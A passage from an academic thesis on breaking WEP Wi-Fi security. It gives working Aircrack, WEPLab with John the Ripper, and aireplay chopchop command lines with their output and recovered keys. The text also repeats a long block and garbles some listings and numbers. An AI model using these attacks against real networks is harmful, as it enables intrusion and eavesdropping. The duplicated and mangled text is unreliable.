Wifi security phần 5
- 11 trang
- file .pdf
28 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
6. When a lot of frames have been captured, check if the keys with the most votes
are valid.
In the original attack, circa 5,000,000 unique IVs were required to find the secret
key. Later, in 2002, David Hulton published an article [19] on how to optimize
the attack. His implementation of the attack and optimization required only circa
500,000 unique IVs to recover the WEP key. The implementation is available in
Hulton’s BSD-Airtools [18]. Aircrack [11] has another implementation of the attack
and optimization. An anonymous hacker, “KoreK”, further extended the attack in
2004 with a variety of algorithms to calculate votes on key bytes. With all the attacks
enabled it is not uncommon to recover the WEP key after collecting less than 300,000
unique IVs.
The Aircrack tools are used to demonstrate the attack in this thesis. When using
Aircrack, the steps above are divided among two tools. Airodump captures the frames
and logs the interesting IVs and encrypted bytes. The actual Aircrack program goes
through the collected data, builds a database of votes, and performs the validation
checking of the probable WEP keys.
Listing 3.1: Airodump
# airodump packets eth3
BSSID CH MB ENC PWR Packets LAN IP / # IVs ESSID
0 0 : 1 2 : 1 7 : 4 9 : D1 :81 11 48 WPA -1 289826 253343 HomeNet
00:12:17:6 F :92:33 11 48 WEP -1 4725 0 linksys
Airodump in Listing 3.1 displays all networks which it is capturing packets from
and some parameters of them. The amount of IVs it has seen is of most interest,
253,343 for the network under attack; “HomeNet”.
Listing 3.2: Aircrack
# aircrack packets
aircrack 2.1
* Got 231129! unique IVs | fudge factor = 2
* Elapsed time [00:00:03] | tried 1 keys at 20 k / m
KB depth votes
0 0/ 1 2 A ( 57) 3 D ( 15) 09( 12) 5 E ( 12) 73( 12) DF ( 12)
1 0/ 1 B1 ( 53) 6 B ( 25) 3 C ( 13) 58( 13) 59( 13) DC ( 12)
2 0/ 1 DD ( 96) 59( 15) A4 ( 15) AF ( 12) B5 ( 12) 2A( 5)
3 0/ 3 37( 36) 10( 23) 97( 18) 22( 15) 5A( 15) 34( 12)
4 0/ 1 6 E ( 68) 1 C ( 21) CA ( 15) A0 ( 13) 59( 12) 7F( 12)
5 0/ 3 93( 263) F3 ( 175) AD ( 170) 8 D ( 45) 0C( 40) 0B( 38)
6 0/ 3 57( 25) 71( 16) C4 ( 12) 72( 11) 38( 10) F1 ( 10)
7 0/ 1 D7 ( 113) AE ( 18) F6 ( 15) 04( 12) 91( 12) 41( 10)
8 0/ 1 7 B ( 116) CC ( 20) 85( 18) 8 F ( 18) 7E( 15) BF ( 14)
9 0/ 1 8 D ( 49) D4 ( 18) 08( 15) 6 C ( 15) E9 ( 15) 42( 12)
10 0/ 1 54( 37) 41( 16) E8 ( 16) 8 F ( 15) 09( 12) 0E( 12)
11 0/ 1 67( 115) BD ( 22) 35( 18) 7 C ( 18) 29( 15) DC ( 15)
12 0/ 1 B0 ( 38) 2 C ( 15) 5 E ( 15) 67( 15) 69( 12) 83( 11)
3.3. WIRED EQUIVALENT PRIVACY (WEP) 29
KEY FOUND ! [ 2 A B 1 D D 3 7 6 E 9 3 5 7 D 7 7 B 8 D 5 4 6 7 B 0 ]
In Listing 3.2 Aircrack is running. The screen shows how Aircrack tries many
different keys to see if it can be the secret WEP key. The bits of the key that are
chosen depend on the number of votes they get. The votes are enclosed in parenthesis
next to the key byte. The number of different bytes to try for each byte of the key
is controlled as the “fudge factor”, and is displayed on the screen as depth. With a
higher “fudge factor” more keys will be tested. The more votes a key byte get, the
more likely it is to be the correct key byte of the secret key. When enough packets are
captured, the statistics usually point towards the correct key. In this case all the bytes
of the key that had the most votes were the correct bytes, and so the first key that
Aircrack tested was the correct key: 2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0.
Under the experiment, circa 4,800 packets/second were sent over the link. This
figure includes the data frames in each direction as well as the corresponding acknowl-
edgment frames. Roughly 2,900 data packets with unique IVs per second means the
total time for the attack was 231, 129/2, 900 ≈ 79 seconds. The fast rate of 4,800
packets/second was possible because of access to the internal network: tiny packets
were poured into the Wi-Fi network as fast as possible.
In a more credible situation where the attacker lacks access to the internal network,
the process of collecting enough IVs will occupy more time. In Section 3.3.5 a method
commonly referred to as “IV acceleration” is presented. “IV acceleration” enables the
attacker to collect IVs at a rate up to roughly half of what would be possible if he
had access to the internal network. A few extra problems arise with packet injection
and the fastest rate achieved in this thesis was 800 injected packets/second. The case
above used in conjunction with “IV acceleration” would take just under five minutes
to recover the WEP key.
In most cases more than 231,129 unique IVs are needed to crack a key. The
“quality” of the collected IV - ciphertext pairs in relation to cracking varies quite
a bit. There are cases when 10,000,000 unique IVs don’t result in recovering the
key. The attack is based on statistical analysis and sometimes this fact may cause
the cracking of the key to fail. Some collections of IVs and ciphertext seem to bias
the statistics in the wrong direction. This fact was recently acknowledged by the
author of Aircrack and since then parts of the key cracking algorithm, specifically the
“KoreK” algorithms, can be disabled, as well as the possibility to purely brute forcing
the last two bytes of the key. A sample set of collected packets, encrypted with a 40
bit key, provided in [17] show that when 174,476 unique IVs are used to setup the
attack, Aircrack can find the key after testing 1,184 keys (8 seconds time). But if we
extend the number of collected packets to 331,829 unique IVs, Aircrack will give up
after a few minutes.
30 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
3.3.2.2 Recover a Passphrase Seeded WEP key
Most Wi-Fi equipment will accept a passphrase when initially setting up a WEP en-
crypted network. The passphrase is used to generate the WEP key. Vendors have dif-
ferent methods of using the passphrase to construct the final WEP key. One method
used is to hash the passphrase with MD5. As the MD5 hash needs 128 bits as input,
the passphrase is extended. The extension varies at least between 3com and Linksys.
While 3com NULL pads the passphrase, Linksys will repeat the passphrase string until
it is 128 bits long. E.g. simba123 is inserted as simba123 + 0x00...0x00 in 3com and as
simba123. . . simba123 in Linksys equipment. The final MD5 hash in 3com equipment
becomes 2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0-AC-2D-A2 and C3-8B-C1-61-
4B-EB-F4-8C-7C-E7-99-58-79-C7-AF-39 in Linksys equipment. Only the first 104
bytes are chosen for the WEP key.
It is relatively straight forward to mount a dictionary attack against this. The
ICV is used to verify if the packet was decrypted with the correct key. A few extra
packets should be tested to eliminate false positives.
How a software tool performs the brute-force attack:
1. Fetch a WEP encrypted packet and extract the IV, encrypted payload (including
ICV.)
2. Select a word from a dictionary, and hash it as mentioned above.
3. Append the generated WEP key to the extracted IV.
4. Using RC4, generate a key sequence as long as the extracted payload.
5. XOR the payload and key sequence (decrypt).
6. Calculate the ICV of the decrypted data.
7. Test if the calculated ICV matches the extracted ICV.
8. If they match, the guessed WEP key may be the correct WEP key.
9. Further check by testing the key against more WEP encrypted frames, or look
at the decrypted payload and see if it makes any sense.
WEPLab is a software tool can perform the steps automatically. It needs a set
of WEP encrypted frames and a list of passphrases. If the correct passphrase is in
the list, WEPLab will eventually test if it is the correct WEP key, and display it. To
eliminate false positives, it tests the keys against 10 packets.
3.3. WIRED EQUIVALENT PRIVACY (WEP) 31
Listing 3.3: WEPLab testing passphrase seeded WEP keys.
h a l l v a r @ a p u k :~/ Tools / weplab -0.1.4 $ john - w :../ norwegian - stdout |./ weplab -y -d
1 -- attack 3 -k 128 ~/ dump / dump2 . cap
weplab - Wep Key Cracker Wep Key Cracker ( v0 .1.4) .
Jose Ignacio Sanchez Martin - Topo [ LB ] < t o p o l b @ u s e r s . sourceforg e . net >
18 % readNot BSSID specified .
Detected one packet with BSSID : [00:13:10 : 9 B :47: F1 ]
Only packets belongs to that BSSID will be processed .
If - a option reveals other BSSIDs you can specify one with -- bssid .
Total valid packets read : 11
Total packets read : 260
10 packets selected .
Packet 0 --> 86 total lenght , 58 data lenght ( just encrypted data )
Packet 1 --> 86 total lenght , 58 data lenght ( just encrypted data )
Packet 2 --> 86 total lenght , 58 data lenght ( just encrypted data )
Packet 3 --> 116 total lenght , 88 data lenght ( just encrypted data )
Packet 4 --> 104 total lenght , 76 data lenght ( just encrypted data )
Packet 5 --> 104 total lenght , 76 data lenght ( just encrypted data )
Packet 6 --> 368 total lenght , 340 data lenght ( just encrypted data )
Packet 7 --> 368 total lenght , 340 data lenght ( just encrypted data )
Packet 8 --> 368 total lenght , 340 data lenght ( just encrypted data )
Packet 9 --> 96 total lenght , 68 data lenght ( just encrypted data )
Statistic a l cracking started ! Please hit enter to get statistics from John .
Weplab statistic s will be printed each 5 seconds
It seems that the first control data packet verifies the key ! Let ’ s test it
with others ....
Right KEY found !!
Key : c3 :8 b : c1 :61:4 b : eb : f4 :8 c :7 c : e7 :99:58:79
This was the end of the dictionna r y attack .
Listing 3.3 shows WEPLab in action when trying to brute-force guess the passphrase
of a secret WEP key. The initial command “john -w../norwegian -stdout” is an invo-
cation of a popular password generator tool called “John the Ripper”. It takes words
from a Norwegian word list, and combines the words in ways that a user might do
when choosing a passphrase. The generated passphrases are piped to WEPLab which
performs tests on the key the passphrase generates. As seen from the listing, WE-
PLab will at first print out some info such as BSSID and data length of the encrypted
frames it is provided with. Finally when WEPLab has found the correct WEP key
it will be displayed. In this example the passphrase was simba123 using the 3com
passphrase algorithm.
3.3.2.3 Double Encryption
WEP uses the exact same mechanism for encryption as it does for decryption. If a
station or access point by mistake encrypted an already encrypted frame, it would
in fact decrypt the frame and transmit the plaintext. How to perform the attack is
illustrated in Figure 3.3.
32 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
Figure 3.3: How the double encryption attack works.
To decrypt the contents of a particular packet, the injection of the encrypted
contents must take place when the client or access point encrypts using the same
IV as the desired encrypted packet was encrypted under. As there are 224 IVs, this
makes the attack time consuming. Fortunately for an attacker, the number will be
much less if clients or access points filter out some of the IV space. Some clients and
access points use a sequencing scheme and make the generation of IVs predictable
and enables an attacker to inject the packet a couple of times at just the right time.
The most effective way of implementing the attack is to use ICMP echo request/re-
ply packets. If possible, send an ICMP echo request to a client on the Wi-Fi network.
The payload of an echo request can be anything and it can be of any size, within the
limits of network. The payload should contain the encrypted packet, with an offset
equal to the length of all the packet headers. When the packet enters the Wi-Fi net-
work, the access point will encrypt it. Send as many echo requests as possible until
the access point encrypts it under the wanted IV. What makes this attack about
twice as fast, is that when the client responds to the request, it will send the exact
same payload in return, and encrypt under another new IV.
The offset to use in the ICMP version of the attack is 40 bytes: 8 bytes of SNAP
headers from Ethernet, 24 bytes for the IP header, and 8 bytes for the ICMP header.
What this means is that everything but the first 40 bytes can be decrypted. If the
encrypted packet is TCP/IP, then the TCP/IP header is at least 24 + 32 = 56 bytes
long. Which ultimately means it is possible to decrypt all the data in a TCP/IP
packet, and 56 − 32 = 24 of the last bytes of the TCP header—only the source and
destination port numbers of the TCP header, are lost.
There is another way to have a participant in the network encrypt arbitrary data.
In the challenge-response scheme of WEP authentication, the access point will give
a nonce to the client, and the client is asked to encrypt it using the conventional
WEP encryption method. An attacker could send a de-authentication frame to the
client. When the client tries to re-authenticate the attacker can send the payload of
the encrypted packet as the nonce. The attack will expose the first 128 bytes of the
3.3. WIRED EQUIVALENT PRIVACY (WEP) 33
encrypted payload. With roughly 0.5 attempts per second, as achieved in Section
3.3.5.2, and the client encrypting each time under a new IV, from an unfiltered IV
space, it will take roughly at most 9320 hours, or circa 388 days. 50 % chance
of success after half this time. Only in rare cases will an attacker even succed at
persisting an attack for such a long period of time, especially such an evasive one.
If this was the only available attack against WEP, it could for instance be used to
recover passwords from cleartext protocols such as many of those for checking e-mail.
The exact frame containing the password can be guessed by matching communication
patterns and frame sizes against those common to a protocol. Since there are vulner-
abilities that are easier and more powerful, there are currently no publicly available
tools to automate this attack.
3.3.2.4 Inductive Chosen Plaintext Attack
Redundant information about the encrypted data is provided by the (encrypted) ICV.
The ICV is used to check whether a packet is valid or not. If the packet is valid it
will be acted upon by the recipient. If it’s not valid it will be dropped. Under these
circumstances in a WEP encrypted Wi-Fi network, an inductive chosen plaintext
attack can be performed to decrypt one encrypted frame at a time:
1. Capture an encrypted packet which seems interesting.
2. Guess with high certainty the first n bytes of the data.
3. Calculate the ICV over the n − 3 bytes.
4. Concatenate the n − 3 bytes and the ICV then XOR it with the matching key
sequence.3
5. Append a brute-force guessed byte.
6. The packet is transmitted to the access point.
7. If the packet is valid, the last byte is the last byte of the ICV. The actual
decrypted value of it is at this point unknown. However, since all bytes before
the last byte is known, applying the Cyclic Redundency Check (CRC) on the
known data to construct the ICV will reveal the real value of the last byte—and
thus the byte of the key sequence.
8. If the packet is invalid, go to step 5 and guess the value of the last byte to
something else.
3
The key sequence is obtained by XORing the n bytes with the real encrypted packet.
34 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
The attack is described in Real 802.11 Security [14, p. 326-329], co-authored by
Professor William A. Arbaugh, who discovered the attack in 2001. They have a
closed implementation which they claim can decrypt a full-size 1500 byte data frame
in an average of 42.8 minutes. A variation of the attack was implemented by the
anonymous hacker, “KoreK”, who published the implementation as a software tool,
Chopchop [24] in 2004 to an on-line discussion forum [1]. The “KoreK” variant of
the attack performs the attack in reverse order on the data. It starts by guessing the
last byte of the packet until it reaches the 9. byte. The first 9 bytes will be guessed
based on very common headers in data packets.
The time it takes to decrypt the frame grows only linearly with the its length. In
fact the attack introduces the possibility to obtain an arbitrarily long key sequence,
from any size data frame. E.g. obtain a 1,500 byte key sequence even from a 64 byte
long frame.
Listing 3.4: Aireplay performing a chosen plaintext attack.
# ./ aireplay -h 00:0 E :35: A3 :0 F :56 - k eth3
Option -x not specified , assuming 256.
Seen 26 packets ...
FromDS = 0 , ToDS = 1 , WEP = 1
BSSID = 00:0 D :54:9 D : EC :4 B
Src . MAC = 00:0 E :35: A3 :0 F :56
Dst . MAC = FF : FF : FF : FF : FF : FF
0 x0000 : 0841 0000 000 d 549 d ec4b 000 e 35 a3 0 f56 . A .... T .. K ..5.. V
0 x0010 : ffff ffff ffff 1004 807 f 5300 6295 ff14 ........ S . b ...
0 x0020 : ea41 744 e 6548 787 d 6 cc5 0 c26 c6cb c428 . AtNeHx } l ..&...(
0 x0030 : 5802 332 e 303 e 52 b8 a718 ddba a2bc bf7a X .3.0 > R ........ z
0 x0040 : be9d 58 da .. X .
Use this packet ? y
Saving chosen packet in replay_src -050622 -010218. pcap
Operating in a u t h e n t i c a t e d mode .
Offset 67 ( 0% done ) | xor = 2 F | pt = F5 | 235 frames written in 919 ms
Offset 66 ( 2% done ) | xor = 76 | pt = 2 E | 223 frames written in 870 ms
Offset 65 ( 5% done ) | xor = 40 | pt = DD | 4 frames written in 15 ms
...
Offset 36 (91% done ) | xor = 65 | pt = 00 | 221 frames written in 863 ms
Offset 35 (94% done ) | xor = 48 | pt = 06 | 253 frames written in 988 ms
Offset 34 (97% done ) | xor = 7 C | pt = 08 | 231 frames written in 903 ms
Saving plaintext in replay_dec -050622 -010218. pcap
Saving keystream in replay_dec -050622 -010218. prga
Completed in 23 s (1.30 bytes / s )
# hexdump eplay_dec -050622 -010218. prga
0000000 7 f80 0053 3 fc8 14 fc 41 ea 487 c 4965 7 d70
0000010 c16a 270 c c5c6 8 bf1 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2 f76
000002 c
3.3. WIRED EQUIVALENT PRIVACY (WEP) 35
# tcpdump -r replay_dec -050622 -010218. pcap
reading from file replay_dec -050622 -010218. pcap , link - type IEEE802_11 (802.11)
0 1 : 0 2 : 1 8 . 8 8 9 0 9 7 arp who - has 192.168.1 . 5 tell 1 9 2 . 1 6 8 . 1 . 2 7
Listing 3.5: TCPDump displaying the decrypted frame.
# tcpdump -r replay_dec -050622 -010218. pcap
reading from file replay_dec -050622 -010218. pcap , link - type IEEE802_11 (802.11)
0 1 : 0 2 : 1 8 . 8 8 9 0 9 7 arp who - has 192.168.1 . 5 tell 1 9 2 . 1 6 8 . 1 . 2 7
Listing 3.6: Hexdump displaying the key sequence.
# hexdump eplay_dec -050622 -010218. prga
0000000 7 f80 0053 3 fc8 14 fc 41 ea 487 c 4965 7 d70
0000010 c16a 270 c c5c6 8 bf1 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2 f76
000002 c
Listing 3.4 shows the tool “aireplay” from Aircrack perform the “KoreK” ver-
sion of the attack (parameter -k ). The tools purpose is to get a key sequence and
therefore it will sniff for packets it believes it will be able to decrypt fast. The -h
00:0E:35:A3:0F:56 will force aireplay to only consider packets sent by that particular
MAC address. After looking at 26 frames, it found one it believes is easy to decrypt.
The user is prompted if the tool shall try to decrypt the packet. When acknowledged
by the user the attack begins. The first byte is found after trying 235 values for the
byte. The second after 223, and so on. When all bytes have been retrieved, the key
sequence and plaintext is stored to files. In this example, the frame was decrypted in
only 23 seconds. A trick to try several different values for the last byte in parallel,
speeds up the attack considerably. The decrypted frame is displayed by “tcpdump”
in Listing 3.5. Listing 3.6 shows how the “hexdump” utility displays key sequences
stored in the .prga file.
The “KoreK” attack used by Aircrack does have some issues. It does not work
entirely on all access points. Some access points will discard any frame with a payload
of less than 40 bytes. Therefore the first 40 bytes of the ciphertext will not be
decrypted using the attack, however the later bytes can still be decrypted. What
this means for the first version of the attack is that the initial 40 bytes must be
known/guessed before deducing the plaintext of the rest of the data.
The Linksys WRT54G and WAP54G access points discard all packets with less
than 40 bytes of data. Very few access points have been reported to allow small
payloads. The example above was brute forced against a Prism54 PC-Card running
Linux and the prism54 drivers in master mode. “Master mode” is when the network
card is acting as an access point.
In WPA an additional integrity check mechanism is implemented using a Message
Integrity Code (MIC). The MIC uses a separate key for the generating its value and
protects against this attack.
6. When a lot of frames have been captured, check if the keys with the most votes
are valid.
In the original attack, circa 5,000,000 unique IVs were required to find the secret
key. Later, in 2002, David Hulton published an article [19] on how to optimize
the attack. His implementation of the attack and optimization required only circa
500,000 unique IVs to recover the WEP key. The implementation is available in
Hulton’s BSD-Airtools [18]. Aircrack [11] has another implementation of the attack
and optimization. An anonymous hacker, “KoreK”, further extended the attack in
2004 with a variety of algorithms to calculate votes on key bytes. With all the attacks
enabled it is not uncommon to recover the WEP key after collecting less than 300,000
unique IVs.
The Aircrack tools are used to demonstrate the attack in this thesis. When using
Aircrack, the steps above are divided among two tools. Airodump captures the frames
and logs the interesting IVs and encrypted bytes. The actual Aircrack program goes
through the collected data, builds a database of votes, and performs the validation
checking of the probable WEP keys.
Listing 3.1: Airodump
# airodump packets eth3
BSSID CH MB ENC PWR Packets LAN IP / # IVs ESSID
0 0 : 1 2 : 1 7 : 4 9 : D1 :81 11 48 WPA -1 289826 253343 HomeNet
00:12:17:6 F :92:33 11 48 WEP -1 4725 0 linksys
Airodump in Listing 3.1 displays all networks which it is capturing packets from
and some parameters of them. The amount of IVs it has seen is of most interest,
253,343 for the network under attack; “HomeNet”.
Listing 3.2: Aircrack
# aircrack packets
aircrack 2.1
* Got 231129! unique IVs | fudge factor = 2
* Elapsed time [00:00:03] | tried 1 keys at 20 k / m
KB depth votes
0 0/ 1 2 A ( 57) 3 D ( 15) 09( 12) 5 E ( 12) 73( 12) DF ( 12)
1 0/ 1 B1 ( 53) 6 B ( 25) 3 C ( 13) 58( 13) 59( 13) DC ( 12)
2 0/ 1 DD ( 96) 59( 15) A4 ( 15) AF ( 12) B5 ( 12) 2A( 5)
3 0/ 3 37( 36) 10( 23) 97( 18) 22( 15) 5A( 15) 34( 12)
4 0/ 1 6 E ( 68) 1 C ( 21) CA ( 15) A0 ( 13) 59( 12) 7F( 12)
5 0/ 3 93( 263) F3 ( 175) AD ( 170) 8 D ( 45) 0C( 40) 0B( 38)
6 0/ 3 57( 25) 71( 16) C4 ( 12) 72( 11) 38( 10) F1 ( 10)
7 0/ 1 D7 ( 113) AE ( 18) F6 ( 15) 04( 12) 91( 12) 41( 10)
8 0/ 1 7 B ( 116) CC ( 20) 85( 18) 8 F ( 18) 7E( 15) BF ( 14)
9 0/ 1 8 D ( 49) D4 ( 18) 08( 15) 6 C ( 15) E9 ( 15) 42( 12)
10 0/ 1 54( 37) 41( 16) E8 ( 16) 8 F ( 15) 09( 12) 0E( 12)
11 0/ 1 67( 115) BD ( 22) 35( 18) 7 C ( 18) 29( 15) DC ( 15)
12 0/ 1 B0 ( 38) 2 C ( 15) 5 E ( 15) 67( 15) 69( 12) 83( 11)
3.3. WIRED EQUIVALENT PRIVACY (WEP) 29
KEY FOUND ! [ 2 A B 1 D D 3 7 6 E 9 3 5 7 D 7 7 B 8 D 5 4 6 7 B 0 ]
In Listing 3.2 Aircrack is running. The screen shows how Aircrack tries many
different keys to see if it can be the secret WEP key. The bits of the key that are
chosen depend on the number of votes they get. The votes are enclosed in parenthesis
next to the key byte. The number of different bytes to try for each byte of the key
is controlled as the “fudge factor”, and is displayed on the screen as depth. With a
higher “fudge factor” more keys will be tested. The more votes a key byte get, the
more likely it is to be the correct key byte of the secret key. When enough packets are
captured, the statistics usually point towards the correct key. In this case all the bytes
of the key that had the most votes were the correct bytes, and so the first key that
Aircrack tested was the correct key: 2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0.
Under the experiment, circa 4,800 packets/second were sent over the link. This
figure includes the data frames in each direction as well as the corresponding acknowl-
edgment frames. Roughly 2,900 data packets with unique IVs per second means the
total time for the attack was 231, 129/2, 900 ≈ 79 seconds. The fast rate of 4,800
packets/second was possible because of access to the internal network: tiny packets
were poured into the Wi-Fi network as fast as possible.
In a more credible situation where the attacker lacks access to the internal network,
the process of collecting enough IVs will occupy more time. In Section 3.3.5 a method
commonly referred to as “IV acceleration” is presented. “IV acceleration” enables the
attacker to collect IVs at a rate up to roughly half of what would be possible if he
had access to the internal network. A few extra problems arise with packet injection
and the fastest rate achieved in this thesis was 800 injected packets/second. The case
above used in conjunction with “IV acceleration” would take just under five minutes
to recover the WEP key.
In most cases more than 231,129 unique IVs are needed to crack a key. The
“quality” of the collected IV - ciphertext pairs in relation to cracking varies quite
a bit. There are cases when 10,000,000 unique IVs don’t result in recovering the
key. The attack is based on statistical analysis and sometimes this fact may cause
the cracking of the key to fail. Some collections of IVs and ciphertext seem to bias
the statistics in the wrong direction. This fact was recently acknowledged by the
author of Aircrack and since then parts of the key cracking algorithm, specifically the
“KoreK” algorithms, can be disabled, as well as the possibility to purely brute forcing
the last two bytes of the key. A sample set of collected packets, encrypted with a 40
bit key, provided in [17] show that when 174,476 unique IVs are used to setup the
attack, Aircrack can find the key after testing 1,184 keys (8 seconds time). But if we
extend the number of collected packets to 331,829 unique IVs, Aircrack will give up
after a few minutes.
30 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
3.3.2.2 Recover a Passphrase Seeded WEP key
Most Wi-Fi equipment will accept a passphrase when initially setting up a WEP en-
crypted network. The passphrase is used to generate the WEP key. Vendors have dif-
ferent methods of using the passphrase to construct the final WEP key. One method
used is to hash the passphrase with MD5. As the MD5 hash needs 128 bits as input,
the passphrase is extended. The extension varies at least between 3com and Linksys.
While 3com NULL pads the passphrase, Linksys will repeat the passphrase string until
it is 128 bits long. E.g. simba123 is inserted as simba123 + 0x00...0x00 in 3com and as
simba123. . . simba123 in Linksys equipment. The final MD5 hash in 3com equipment
becomes 2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0-AC-2D-A2 and C3-8B-C1-61-
4B-EB-F4-8C-7C-E7-99-58-79-C7-AF-39 in Linksys equipment. Only the first 104
bytes are chosen for the WEP key.
It is relatively straight forward to mount a dictionary attack against this. The
ICV is used to verify if the packet was decrypted with the correct key. A few extra
packets should be tested to eliminate false positives.
How a software tool performs the brute-force attack:
1. Fetch a WEP encrypted packet and extract the IV, encrypted payload (including
ICV.)
2. Select a word from a dictionary, and hash it as mentioned above.
3. Append the generated WEP key to the extracted IV.
4. Using RC4, generate a key sequence as long as the extracted payload.
5. XOR the payload and key sequence (decrypt).
6. Calculate the ICV of the decrypted data.
7. Test if the calculated ICV matches the extracted ICV.
8. If they match, the guessed WEP key may be the correct WEP key.
9. Further check by testing the key against more WEP encrypted frames, or look
at the decrypted payload and see if it makes any sense.
WEPLab is a software tool can perform the steps automatically. It needs a set
of WEP encrypted frames and a list of passphrases. If the correct passphrase is in
the list, WEPLab will eventually test if it is the correct WEP key, and display it. To
eliminate false positives, it tests the keys against 10 packets.
3.3. WIRED EQUIVALENT PRIVACY (WEP) 31
Listing 3.3: WEPLab testing passphrase seeded WEP keys.
h a l l v a r @ a p u k :~/ Tools / weplab -0.1.4 $ john - w :../ norwegian - stdout |./ weplab -y -d
1 -- attack 3 -k 128 ~/ dump / dump2 . cap
weplab - Wep Key Cracker Wep Key Cracker ( v0 .1.4) .
Jose Ignacio Sanchez Martin - Topo [ LB ] < t o p o l b @ u s e r s . sourceforg e . net >
18 % readNot BSSID specified .
Detected one packet with BSSID : [00:13:10 : 9 B :47: F1 ]
Only packets belongs to that BSSID will be processed .
If - a option reveals other BSSIDs you can specify one with -- bssid .
Total valid packets read : 11
Total packets read : 260
10 packets selected .
Packet 0 --> 86 total lenght , 58 data lenght ( just encrypted data )
Packet 1 --> 86 total lenght , 58 data lenght ( just encrypted data )
Packet 2 --> 86 total lenght , 58 data lenght ( just encrypted data )
Packet 3 --> 116 total lenght , 88 data lenght ( just encrypted data )
Packet 4 --> 104 total lenght , 76 data lenght ( just encrypted data )
Packet 5 --> 104 total lenght , 76 data lenght ( just encrypted data )
Packet 6 --> 368 total lenght , 340 data lenght ( just encrypted data )
Packet 7 --> 368 total lenght , 340 data lenght ( just encrypted data )
Packet 8 --> 368 total lenght , 340 data lenght ( just encrypted data )
Packet 9 --> 96 total lenght , 68 data lenght ( just encrypted data )
Statistic a l cracking started ! Please hit enter to get statistics from John .
Weplab statistic s will be printed each 5 seconds
It seems that the first control data packet verifies the key ! Let ’ s test it
with others ....
Right KEY found !!
Key : c3 :8 b : c1 :61:4 b : eb : f4 :8 c :7 c : e7 :99:58:79
This was the end of the dictionna r y attack .
Listing 3.3 shows WEPLab in action when trying to brute-force guess the passphrase
of a secret WEP key. The initial command “john -w../norwegian -stdout” is an invo-
cation of a popular password generator tool called “John the Ripper”. It takes words
from a Norwegian word list, and combines the words in ways that a user might do
when choosing a passphrase. The generated passphrases are piped to WEPLab which
performs tests on the key the passphrase generates. As seen from the listing, WE-
PLab will at first print out some info such as BSSID and data length of the encrypted
frames it is provided with. Finally when WEPLab has found the correct WEP key
it will be displayed. In this example the passphrase was simba123 using the 3com
passphrase algorithm.
3.3.2.3 Double Encryption
WEP uses the exact same mechanism for encryption as it does for decryption. If a
station or access point by mistake encrypted an already encrypted frame, it would
in fact decrypt the frame and transmit the plaintext. How to perform the attack is
illustrated in Figure 3.3.
32 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
Figure 3.3: How the double encryption attack works.
To decrypt the contents of a particular packet, the injection of the encrypted
contents must take place when the client or access point encrypts using the same
IV as the desired encrypted packet was encrypted under. As there are 224 IVs, this
makes the attack time consuming. Fortunately for an attacker, the number will be
much less if clients or access points filter out some of the IV space. Some clients and
access points use a sequencing scheme and make the generation of IVs predictable
and enables an attacker to inject the packet a couple of times at just the right time.
The most effective way of implementing the attack is to use ICMP echo request/re-
ply packets. If possible, send an ICMP echo request to a client on the Wi-Fi network.
The payload of an echo request can be anything and it can be of any size, within the
limits of network. The payload should contain the encrypted packet, with an offset
equal to the length of all the packet headers. When the packet enters the Wi-Fi net-
work, the access point will encrypt it. Send as many echo requests as possible until
the access point encrypts it under the wanted IV. What makes this attack about
twice as fast, is that when the client responds to the request, it will send the exact
same payload in return, and encrypt under another new IV.
The offset to use in the ICMP version of the attack is 40 bytes: 8 bytes of SNAP
headers from Ethernet, 24 bytes for the IP header, and 8 bytes for the ICMP header.
What this means is that everything but the first 40 bytes can be decrypted. If the
encrypted packet is TCP/IP, then the TCP/IP header is at least 24 + 32 = 56 bytes
long. Which ultimately means it is possible to decrypt all the data in a TCP/IP
packet, and 56 − 32 = 24 of the last bytes of the TCP header—only the source and
destination port numbers of the TCP header, are lost.
There is another way to have a participant in the network encrypt arbitrary data.
In the challenge-response scheme of WEP authentication, the access point will give
a nonce to the client, and the client is asked to encrypt it using the conventional
WEP encryption method. An attacker could send a de-authentication frame to the
client. When the client tries to re-authenticate the attacker can send the payload of
the encrypted packet as the nonce. The attack will expose the first 128 bytes of the
3.3. WIRED EQUIVALENT PRIVACY (WEP) 33
encrypted payload. With roughly 0.5 attempts per second, as achieved in Section
3.3.5.2, and the client encrypting each time under a new IV, from an unfiltered IV
space, it will take roughly at most 9320 hours, or circa 388 days. 50 % chance
of success after half this time. Only in rare cases will an attacker even succed at
persisting an attack for such a long period of time, especially such an evasive one.
If this was the only available attack against WEP, it could for instance be used to
recover passwords from cleartext protocols such as many of those for checking e-mail.
The exact frame containing the password can be guessed by matching communication
patterns and frame sizes against those common to a protocol. Since there are vulner-
abilities that are easier and more powerful, there are currently no publicly available
tools to automate this attack.
3.3.2.4 Inductive Chosen Plaintext Attack
Redundant information about the encrypted data is provided by the (encrypted) ICV.
The ICV is used to check whether a packet is valid or not. If the packet is valid it
will be acted upon by the recipient. If it’s not valid it will be dropped. Under these
circumstances in a WEP encrypted Wi-Fi network, an inductive chosen plaintext
attack can be performed to decrypt one encrypted frame at a time:
1. Capture an encrypted packet which seems interesting.
2. Guess with high certainty the first n bytes of the data.
3. Calculate the ICV over the n − 3 bytes.
4. Concatenate the n − 3 bytes and the ICV then XOR it with the matching key
sequence.3
5. Append a brute-force guessed byte.
6. The packet is transmitted to the access point.
7. If the packet is valid, the last byte is the last byte of the ICV. The actual
decrypted value of it is at this point unknown. However, since all bytes before
the last byte is known, applying the Cyclic Redundency Check (CRC) on the
known data to construct the ICV will reveal the real value of the last byte—and
thus the byte of the key sequence.
8. If the packet is invalid, go to step 5 and guess the value of the last byte to
something else.
3
The key sequence is obtained by XORing the n bytes with the real encrypted packet.
34 CHAPTER 3. BREAKING THE SECURITY OF WI-FI
The attack is described in Real 802.11 Security [14, p. 326-329], co-authored by
Professor William A. Arbaugh, who discovered the attack in 2001. They have a
closed implementation which they claim can decrypt a full-size 1500 byte data frame
